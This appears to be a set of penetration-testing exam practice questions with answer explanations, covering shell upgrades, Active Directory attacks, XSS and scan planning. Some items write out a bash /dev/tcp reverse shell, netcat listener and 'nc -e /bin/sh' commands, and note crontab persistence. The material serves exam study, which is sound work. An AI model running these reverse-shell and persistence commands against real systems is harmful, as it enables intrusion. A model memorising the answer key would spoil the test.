Tamera is conducting a penetration test of Dion Training's network. She just successfully exploited a Linux server and then entered the following command: python -c ' import pty ; pty . spawn (" / bin / bash ") ' Which of the following techniques is Tamera utilizing? A. Shell upgrade B. Creating a scheduled task C. Erasing shell history D. Credential harvesting	When running an exploit, sometimes you don't receive a fully interactive shell in return. If you receive a "dumb shell", you can use Python to spawn a pty. A pty is a pseudo-terminal utility that is built into Python and only works on Linux systems. From here, you can attempt a privilege escalation using su and other commands on the system.
A penetration tester just entered the following command into a Bash shell on Dion Training's server: bash 1 > & / dev / tcp / 192.168.1.53 / 31337 0 > & 1 Before the penetration tester runs that command, what must they run first on their machine? A. bash 0 > & /dev/tcp/127.0.0.1/31337 1 > & 0 B. nc -e /bin/sh 192.168.1.53 31337 C. nc 192.168.1.53 31337 D. nc -nlvp 31337	The bash command entered by the penetration tester on the Dion Training server is a redirector to send information back to a listener. Therefore, the penetration tester needs to first set up a listener on their machine. This can quickly be done using netcat to set up a listener on port 31337 (nc -nvlp 31337). The bash command says to redirect the standard output (0) to a TCP socket connected to the IP (192.168.1.53) over port 31337. Then, the standard input (0) is redirected to the standard output (1). Since Bash treats TCP sockets established using this command as a two-way connection, it allows the penetration tester to gain a remote connection to the server by creating a reverse shell. To maintain persistence, the server could be configured using crontab to run this Bash command every day at a certain time, as well.
Which of the following tools should a penetration tester use to conduct post-exploitation identification of vulnerabilities in a Windows Active Directory environment? A. CrackMapExec B. Wapiti C. Brakeman D. CeWL	CrackMapExec is a post-exploitation tool to identify vulnerabilities in active directory environments. Brakeman is a static code analysis security tool for Ruby on Rails applications that checks for vulnerabilities and provides a confidence level for the findings as high, medium, or weak. CeWL is a word list generate that automatically navigates a website and collects words from the text, metadata, and other files found on the site. The Wapiti is a web application vulnerability scanner that automatically navigates a web app to find areas where it can inject data.
If an attacker can compromise an Active Directory domain by utilizing an attack to grant administrative access to the domain controllers for all domain members, which type of attack is being used? A. Lateral movement B. Pass the hash C. Pivoting D. Golden ticket	A golden ticket is a Kerberos ticket that can grant other tickets in an Active Directory environment. Attackers who can create a golden ticket can use it to grant administrative access to other domain members, even to domain controllers. Pass the Hash (PtH) is the process of harvesting an account's cached credentials when the user logs in to a single sign-on (SSO) system. This would then allow the attacker to use the credentials on other systems, as well. Lateral movement is an umbrella term for a variety of attack types. Attackers can extend their lateral movement by a great deal if they can compromise host credentials. Pivoting is a process similar to lateral movement. When attackers pivot, they compromise one central host (the pivot) that allows them to spread out to other hosts that would otherwise be inaccessible.
You have been given access to a Windows system located on an Active Directory domain as part of a known environment penetration test. Which of the following commands would provide	The net view command will list all the domains, computers, or resources (like network shares) that are being shared by the specified workstation. This will help to identify file servers and

information about other systems on this network? A. net config B. net view C. net group D. net user	print servers on the network. The net group command can only be used on domain controllers. The net config command will allow servers and workstations services to be controlled once they have already been identified. The net user command would show any user accounts on the local Windows workstation you are using.
A cybersecurity analyst is reviewing the logs of an authentication server and saw the following output: Username stays the same but password is different What type of attack was most likely being attempted by the attacker? A. Credential stuffing B. Brute force C. Password spraying D. Impersonation	This is an example of a brute force attack. Unlike password spraying that focuses on attempting only one or two passwords per user, a brute force attack focuses on trying multiple passwords for a single user. The goal of this attack is to crack the user's password and gain access to their account. Password spraying, instead, refers to the attack method that takes a large number of usernames and loops them with a single password. We can use multiple iterations using several different passwords, but the number of passwords attempted is usually low compared to the number of users attempted. This method avoids password lockouts, and it is often more effective at uncovering weak passwords than targeting specific users. If only one or two attempts are being made to each username listed, then this could be indicative of a password spraying attack instead of a brute force attempt against a single user. Impersonation is the act of pretending to be another person for fraudulent purposes. Credential stuffing is the automated injection of breached username/password pairs to gain user accounts access fraudulently. This is a subset of the brute force attack category: large numbers of spilled credentials are automatically entered into websites until they are potentially matched to an existing account. The attacker can then hijack the account for their purposes.
Tony works for a company as a cybersecurity analyst. His company runs a website that allows public postings. Recently, users have started complaining about the website having pop-up messages asking for their username and password. Simultaneously, your security team has noticed a large increase in the number of compromised user accounts on the system. What type of attack is most likely the cause of both of these events? A. Cross-site request forgery B. Rootkit C. Cross-site scripting D. SQL injection	This scenario is a perfect example of the effects of a cross-site scripting (XSS) attack. If your website's HTML code does not perform input validation to remove scripts that may be entered by a user, then an attacker can create a popup window that collects passwords and uses that information to compromise other accounts further. A cross-site request forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. An XSS will allow an attacker to execute arbitrary JavaScript within the victim's browser (such as creating pop-ups). A CSRF would allow an attack to induce a victim to perform actions they do not intend to perform. A rootkit is a set of software tools that enable an unauthorized user to control a computer system without being detected. SQL injection is the placement of malicious code in SQL statements via web page input. None of the things described in this scenario would indicate a CSRF, rootkit, or SQL injection.
Which of the following tools provides a penetration tester with PowerShell scripts that can maintain persistence and cover their tracks? A. Empire B. Searchsploit C. Powersploit D. Responder	Powersploit is a series of Microsoft PowerShell scripts that pen testers can use in post-exploit scenarios. Empire (PowerShell Empire) is a post-exploitation framework for Windows devices that allows the attacker to run PowerShell agents without needing powershell.exe. It is commonly used to escalate privileges, launch other modules to capture data, extract passwords, and install persistent backdoors. Searchsploit is a tool included in the exploitdb package on Kali Linux that enables you to search the Exploit Database archive. Responder is a fake server and relay tool that is included with Kali Linux. It responds to LLMNR, NBT-NS, POP, IMAP, SMTP, and SQL queries to possibly recover sensitive information such as user names and passwords.
During active reconnaissance, a penetration tester conducts a vulnerability scan. The most recent scan found several vulnerabilities on an organization's public-facing IP addresses. Which of the following vulnerabilities should the penetration tester attempt first in their exploitation phase? A. A buffer overflow that is known to allow remote code execution	The most serious vulnerability discovered is one that could allow remote code execution to occur. Since this buffer overflow vulnerability is known to allow remote code execution, the penetration tester should attempt it first. If this is successfully exploited, the penetration tester should immediately notify the organization so it can be prioritized for remediation immediately to prevent a future

B. An HTTP response that reveals an internal IP address C. A cryptographically weak encryption cipher D. A website utilizing a self-signed SSL certificate	security breach. While the other issues may provide information or access for the penetration tester, the most critical would be a remote code execution vulnerability on a public-facing IP address.
Your smartphone begins to receive unsolicited messages while eating lunch at the restaurant across the street from your office. What might cause this to occur? A. Bluejacking B. Packet sniffing C. Geotagging D. Bluesnarfing	Bluejacking sends unsolicited messages over Bluetooth to Bluetooth-enabled devices such as smartphones and tablets. On the other hand, Bluesnarfing involves taking data from a smartphone or tablet over Bluetooth without permission. Bluetooth has a limited range, so the attacker is likely within 10 meters of the victimized device. Geotagging involves embedding the geolocation coordinates into a piece of data (normally a photo or video). Packet sniffing is a passive method of collecting network traffic for follow-on analysis at a later time.
Which of the following directly impacts the budgetary requirements of a penetration test? A. Scope B. Schedule C. Tolerance to impact D. Compliance	The scope has a direct impact on the budgetary requirements of a penetration test. If the scope is smaller, the budget required will be lower. If the scope is larger, then the budget also needs to be larger to support it. The scope can drive the cost, but often a fixed budget is already provided by an organization. In this case, the budget will remain constant and the scope of the assessment will have to shrink to fit within the resources available.
You are attempting to exploit a network-based vulnerability against a RedHat Linux server. You execute the following commands and receive the results below: Second Line: Sendmail Based on the output above, which of the following exploits are you using? A. SMTP exploit B. FTP exploit C. SMB exploit D. SNMP exploit	f you see a question like this, don't let it confuse you. Look for keywords and phrases that you recognize to answer the question. As you look at the command issued in the first line, you may not recognize it. That is because this is an older exploit script that is being run with the parameters of support (the user account we are trying to exploit), DionTraining (our penetration testing machine's name), and RedHat (our target/victim server). Ignoring this line, look at the second line where you see a keyword that you should recognize: Sendmail. Sendmail is a service that runs on Linux machines to "send mail" using the SMTP protocol over port 25. This is the key to answering this question. As you continue through the script, you see it performed a DNS name resolution from RedHat to the server's IP, connected to the server, and successfully sent the exploit. This exploit conducts a buffer overflow against a vulnerable Sendmail server resulting in the server providing a remote callback to a listening port on the attacker's machine (port 2525). This is why the attacker then telnets into their localhost over port 2525 and runs the whoami command to determine what user they are connected to the victimized server as. In this case, they are reported as the root user, which means this SMTP exploit was successful.
Following an engagement, the penetration testing team has generated many recommendations for additional controls and items to be purchased to prevent future recurrences. Which of the following approaches BEST describes what the organization should do next? A. Conduct a cost/benefit analysis of each recommendation against the company's current fiscal posture B. Contract an outside security consultant to provide an independent assessment of the network and outsource the remediation efforts C. Immediately procure and install all of them because the adversary may attack at any time D. Create a prioritized list with all of the recommendations for review, procurement, and installation	Since an engagement has just finished, it is important to act swiftly since its results are a point-in-time assessment. The organization should still take a defined and deliberate approach to choosing the proper controls and risk mitigations. Therefore, execution through a rational business management process is the best approach, including creating a prioritized list of recommendations. Once this list has been created, the organization can conduct a cost/benefit analysis of each recommendation and determine which controls and items will be implemented in the network based upon resource availability in terms of time, person-hours, and money. This process does not need to be a long-term study or filled with complexity. Instead, it should be rapidly conducted due to the probability that an attacker may compromise the network using the same vulnerabilities the penetration testing team found in their engagement.
As part of the reconnaissance stage of a penetration test, Kumar wants to retrieve information about an organization's network infrastructure without causing an IPS alert. Which of the following is his best course of action? A. Perform a DNS zone transfer B. Perform a DNS brute-force attack	The best course of action is to perform a DNS brute-force attack. The DNS brute-force attack queries a list of IPs and typically bypasses IDS/IPS systems that do not alert on DNS queries. A ping sweep or a stealth scan can be easily detected by the IPS, depending on the signatures and settings being used. A DNS zone

C. Use a nmap stealth scan D. Use a nmap ping sweep	transfer is also something that often has a signature search for it and will be alerted upon since it is a common attack technique.
Evaluate the following log entry: iptables INPUT drop OUT= DPT=23 Based on this log entry, which of the following statements are true? A. An attempted connection to the telnet service was prevented B. MAC filtering is enabled on the firewall C. The packet was blocked outbound from the network D.An attempted connection to the ssh service was prevented E. The packet was blocked inbound to the network F. Packets are being blocked inbound to and outbound from the network	Firewall log formats will vary by vendors, but this example is a commonly used format from the Linux iptable firewall tool. This log starts with the date and time of the event and provides some key pieces of information. For example, the word "drop" shows the action this log entry recorded. In this case, the firewall dropped a packet due to an ACL rule being applied. You can also see that the packet was detected on the inbound connection over eth0, so we know that packets are being scanned and blocked when they are headed inbound to the network. Next, we see the MAC address of the source device of the packet, the source (SRC) IP address, and the destination (DST) IP address. Further down, we see the source (SPT) and destination ports (DPT). In this case, the DPT is 23 and is a well-known port for telnet. Based on this single log entry, we cannot tell if packets are also being blocked when they are attempting to leave the network or if they are blocking connections to the ssh service (port 22) is also being conducting.
Cybersecurity analysts are experiencing some issues with their vulnerability scans aborting because the previous day's scans are still running when the scanner attempts to start the current day's scans. Which of the following recommendations is LEAST likely to resolve this issue? A. Reduce the frequency of scans B. Reduce the sensitivity of scans C. Add another vulnerability scanner D. Reduce the scope of scans	If the cybersecurity analyst were to reduce the scans' sensitivity, it still would not decrease the time spent scanning the network and could alter the effectiveness of the results received. In this scenario, the scans, as currently scoped, are taking more than 24 hours to complete with the current resources. The analyst could reduce the scans' scope, thereby scanning fewer systems or vulnerabilities signatures and taking less time to complete. Alternatively, the analyst could reduce the scans' frequency by moving to a less frequent schedule, such as one scan every 48 hours or one scan per week. The final option would be to add additional vulnerability scanners to the process. This would allow the two scanners to work together to divide the workload and complete the task within the 24-hour scan frequency currently provided.